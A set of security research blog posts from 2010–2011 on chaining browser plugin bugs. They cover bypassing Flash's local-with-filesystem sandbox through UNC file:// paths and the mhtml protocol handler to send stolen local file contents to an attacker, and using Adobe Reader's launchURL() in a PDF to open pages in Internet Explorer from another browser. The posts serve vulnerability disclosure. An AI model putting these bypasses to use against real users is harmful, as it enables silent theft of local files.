Tuesday, January 4th, 2011
A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”. In the PoC I provided, a SWF file reads an arbitrary file from the victim’s local file system and passes the stolen content to an attacker’s server.
One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems. Looking at the documentation related to the sandbox, we see the following:
Local file describes any file that is referenced by using the file: protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:
The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.
First, I think the documentation here is a bit too generous. SWFs loaded from the local file system do face some restrictions. The most relevant restrictions are probably:
- The SWF cannot call a HTTP or HTTPS request.
- Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)
Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation. The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server. For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like: file://\\192.168.1.1\stolen-data-here\
Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses). If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks. A while back, I put up a post on the dangers of blacklisting protocol handlers. It’s basically impossible to create a list of “bad” protocol handlers in siutation like this. In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists. If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win.
There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example. The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash. Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:
Some other benefits for using the mhtml protocol handler are:
- The request goes over http/https and port 80/443 so it will get past most egress filtering
- If the request results in a 404, it will silently fail. The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer
- The protocol handler is available by default on Win7 and will launch with no protocol handler warning
Wednesday, December 22nd, 2010
Imagine there is an un-patched Internet Explorer vuln in the wild. While the vendor scrambles to dev/test/QA and prime the release for hundreds of millions of users (I’ve been there… it takes time), some organizations may choose to adjust their defensive posture by suggesting things like, “Use an alternate browser until a patch is made available”.
So, your users happily use FireFox for browsing the Internet, thinking they are safe from any IE 0dayz… after all IE vulnerabilities only affect IE right? Unfortunately, the situation isn’t that simple. In some cases, it is possible to control seemingly unrelated applications on the user’s machine through the browser. As an example (I hesitate to call this a bug, although I did report the behavior to various vendors) we can use various browser plugins to jump from FireFox to Internet Explorer and have Internet Explorer open an arbitrary webpage.
- Requirements: Firefox, Internet Explorer, and Adobe PDF Reader (v9 or X)
- Set the default browser to Internet Explorer (common in many enterprises)
- Open Firefox and browse to the following PDF in Firefox: http://xs-sniper.com/sniperscope/Adobe/BounceToIE.pdf
Firefox will call Adobe Reader to render the PDF, Adobe Reader will then call the default browser and pass it a URL, the default browser (IE) will render the webpage passed by the PDF.
The example I provide simply jumps from Firefox to IE and loads http://xs-sniper.com/blog/, however I’m free to load any webpage in IE. To be fair, we can substitute Firefox for Safari or Opera and it will still work.
Achieving this is simple. We use a built-in Adobe Reader API called app.launchURL(). Looking at the documentation for the launchURL() API, we see that launchURL() takes two parameters: cURL (required) and bNewFrame (optional). cURL is a string that specifies the URL to be launched and bNewFrame provides an indication as to whether cURL should be launched in a “new window of the browser application”. In this case, “new window of the browser application” really means the default browser.
Friday, December 17th, 2010
I had the honor of presenting at RuxCon and BayThreat this year. Both were great conferences with great people. I’m always humbled when I learn of what others are doing in the security community and even more humbled when asked to present. I gave a presentation called Will It Blend. The title of the talk is based on a series of videos from Blendtec (I could watch these videos all day). The content of the talk however is about “blended threats”. During the talk I presented a set of bugs I discovered in various browser plug-ins. Independently, these bugs are pretty lame. However, if we chain the bugs together, we get something that’s actually pretty interesting. If you’re interested in taking a look at the slides, you can find them here (PPTPLEX format) or on the RuxCon/Baythreat websites. The vuln chaining is a little difficult to visualize by looking at the slides, so at the end of my talk I gave a live demo of the bugs being chained together. For those who were unable to attend my talk live, I’ve created a video to help understand how the exploit would be pulled off (http://www.youtube.com/watch?v=fMFVVNE8ytQ). It will help to go over the slides first, then watch the video.
Most of the relevant code is available in the slide deck (its really simple). There are around 5 different bugs in play here, involving a variety of vendors. All the vendors involved have been contacted. The oldest bug here is over a year old, the youngest is about five months old. Kudos to Adobe. Adobe X has changed its caching behavior, so this specific attack cannot be used against Adobe X users.
I’m not sure where the blame lies for fixing these issues. On one hand, if a single vendor addresses their portion of the attack, the entire chain of vulnerabilities is broken. On the other hand, if only one vendor addresses their issue, all we have to do is find some other software/plugin that buys us the same capability and its game on again.
I hope someone finds the presentation useful. Happy hunting.